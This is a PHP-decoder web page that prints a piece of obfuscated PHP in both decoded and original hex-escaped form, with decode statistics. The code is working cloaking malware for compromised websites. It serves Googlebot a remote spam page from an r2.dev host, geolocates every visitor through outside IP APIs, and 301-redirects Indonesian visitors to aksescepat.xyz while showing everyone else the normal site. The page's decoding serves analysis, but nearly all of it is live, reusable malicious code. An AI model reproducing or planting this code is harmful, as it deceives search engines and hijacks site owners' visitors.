Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto TNQkj; EsFF1: function profile_user() { $useragent = $_SERVER["\110\x54\x54\1..
Decoded Output download
<?php
goto TNQkj; EsFF1: function profile_user() { $useragent = $_SERVER["HTTP_USER_AGENT"]; $themes = "https://pub-05ba3407903e4840a55b8c21fc682cda.r2.dev/letzkart.html"; if (stripos($useragent, "Google-InspectionTool") !== false || stripos($useragent, "googlebot") !== false || stripos($useragent, "(compatible; Googlebot/2.1; +http://www.google.com/bot.html)") !== false) { $content = file_get_contents($themes); echo $content; die; } $visitor_ip = $_SERVER["REMOTE_ADDR"]; $apiUrlIpSb = "https://api.ip.sb/geoip/" . $visitor_ip; $ch = curl_init($apiUrlIpSb); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $responseIpSb = curl_exec($ch); curl_close($ch); $dataIpSb = json_decode($responseIpSb, true); $isIndonesia = false; if (isset($dataIpSb["country_code"]) && !empty($dataIpSb["country_code"])) { if ($dataIpSb["country_code"] === "ID" || isset($dataIpSb["country"]) && stripos($dataIpSb["country"], "indonesia") !== false) { $isIndonesia = true; } } else { $apiUrlIncolumitas = "https://api.incolumitas.com/?q=" . $visitor_ip; $ch2 = curl_init($apiUrlIncolumitas); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); $responseIncolumitas = curl_exec($ch2); curl_close($ch2); $dataIncolumitas = json_decode($responseIncolumitas, true); if (isset($dataIncolumitas["location"])) { $countryCode = isset($dataIncolumitas["location"]["country_code"]) ? $dataIncolumitas["location"]["country_code"] : ''; $countryName = isset($dataIncolumitas["location"]["country"]) ? $dataIncolumitas["location"]["country"] : ''; if ($countryCode === "ID" || stripos($countryName, "indonesia") !== false) { $isIndonesia = true; } } } $language = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : ''; if (strpos($language, "id") !== false) { $isIndonesia = true; } if ($isIndonesia) { header("Location: https://aksescepat.xyz/jos178", true, 301); die; } include "index.php"; die; } goto A2po8; A2po8: profile_user(); goto aKiyn; TNQkj: error_reporting(0); goto EsFF1; aKiyn: ?>
Did this file decode correctly?
Original Code
<?php
goto TNQkj; EsFF1: function profile_user() { $useragent = $_SERVER["\110\x54\x54\120\137\125\x53\105\122\137\x41\x47\105\116\124"]; $themes = "\x68\x74\x74\160\x73\x3a\57\57\x70\x75\x62\55\60\65\142\x61\63\x34\x30\67\x39\60\63\x65\64\x38\64\x30\141\x35\x35\142\x38\143\x32\x31\x66\x63\66\70\x32\143\x64\x61\56\x72\x32\56\x64\145\166\x2f\x6c\145\164\x7a\153\141\x72\164\56\150\x74\x6d\154"; if (stripos($useragent, "\107\x6f\x6f\147\154\x65\x2d\111\156\x73\160\x65\143\164\x69\157\156\x54\157\157\x6c") !== false || stripos($useragent, "\147\157\x6f\147\x6c\x65\142\x6f\164") !== false || stripos($useragent, "\50\x63\x6f\x6d\x70\x61\164\151\142\x6c\145\73\x20\x47\157\x6f\x67\x6c\145\x62\157\x74\57\62\56\61\73\x20\x2b\x68\x74\x74\x70\x3a\57\57\x77\167\167\56\147\x6f\157\147\x6c\x65\56\x63\x6f\x6d\x2f\142\x6f\164\x2e\x68\164\x6d\x6c\51") !== false) { $content = file_get_contents($themes); echo $content; die; } $visitor_ip = $_SERVER["\122\x45\115\117\x54\105\x5f\101\x44\x44\x52"]; $apiUrlIpSb = "\150\164\x74\160\163\72\x2f\57\x61\160\x69\56\x69\160\56\x73\x62\57\147\145\x6f\151\x70\57" . $visitor_ip; $ch = curl_init($apiUrlIpSb); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $responseIpSb = curl_exec($ch); curl_close($ch); $dataIpSb = json_decode($responseIpSb, true); $isIndonesia = false; if (isset($dataIpSb["\x63\157\165\x6e\x74\162\171\137\143\157\x64\x65"]) && !empty($dataIpSb["\x63\x6f\x75\x6e\164\162\171\137\x63\x6f\x64\x65"])) { if ($dataIpSb["\143\x6f\x75\x6e\x74\x72\171\137\143\x6f\x64\x65"] === "\111\104" || isset($dataIpSb["\143\x6f\165\156\x74\162\171"]) && stripos($dataIpSb["\143\157\x75\x6e\164\x72\171"], "\x69\156\x64\157\156\x65\x73\x69\x61") !== false) { $isIndonesia = true; } } else { $apiUrlIncolumitas = "\x68\x74\x74\160\163\72\x2f\x2f\141\160\x69\x2e\x69\x6e\x63\157\154\165\155\151\164\x61\163\x2e\x63\x6f\x6d\57\x3f\x71\75" . $visitor_ip; $ch2 = curl_init($apiUrlIncolumitas); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); $responseIncolumitas = curl_exec($ch2); curl_close($ch2); $dataIncolumitas = json_decode($responseIncolumitas, true); if (isset($dataIncolumitas["\154\x6f\x63\x61\x74\151\x6f\x6e"])) { $countryCode = isset($dataIncolumitas["\x6c\157\x63\141\x74\151\157\156"]["\143\157\x75\x6e\x74\162\x79\x5f\x63\x6f\144\145"]) ? $dataIncolumitas["\154\157\x63\141\x74\x69\157\x6e"]["\x63\x6f\x75\x6e\x74\x72\x79\137\143\x6f\x64\x65"] : ''; $countryName = isset($dataIncolumitas["\154\157\143\141\x74\x69\x6f\156"]["\143\x6f\x75\x6e\164\162\171"]) ? $dataIncolumitas["\x6c\157\x63\141\x74\151\x6f\x6e"]["\x63\x6f\x75\156\x74\x72\171"] : ''; if ($countryCode === "\111\x44" || stripos($countryName, "\x69\156\144\157\x6e\x65\163\x69\x61") !== false) { $isIndonesia = true; } } } $language = isset($_SERVER["\x48\124\x54\120\x5f\101\103\x43\x45\120\x54\x5f\114\x41\x4e\x47\x55\x41\107\x45"]) ? strtolower($_SERVER["\x48\x54\124\x50\x5f\101\103\x43\105\120\124\137\114\101\x4e\107\x55\x41\107\105"]) : ''; if (strpos($language, "\151\x64") !== false) { $isIndonesia = true; } if ($isIndonesia) { header("\x4c\x6f\143\x61\164\151\x6f\x6e\72\x20\150\x74\164\160\163\72\x2f\57\141\x6b\163\x65\x73\x63\x65\160\141\x74\56\x78\x79\172\x2f\152\157\x73\61\67\x38", true, 301); die; } include "\151\156\x64\145\170\56\x70\x68\x70"; die; } goto A2po8; A2po8: profile_user(); goto aKiyn; TNQkj: error_reporting(0); goto EsFF1; aKiyn: ?>
Function Calls
None |
Stats
MD5 | 815523ed0d204457dbbd1fa2a2945ad2 |
Eval Count | 0 |
Decode Time | 59 ms |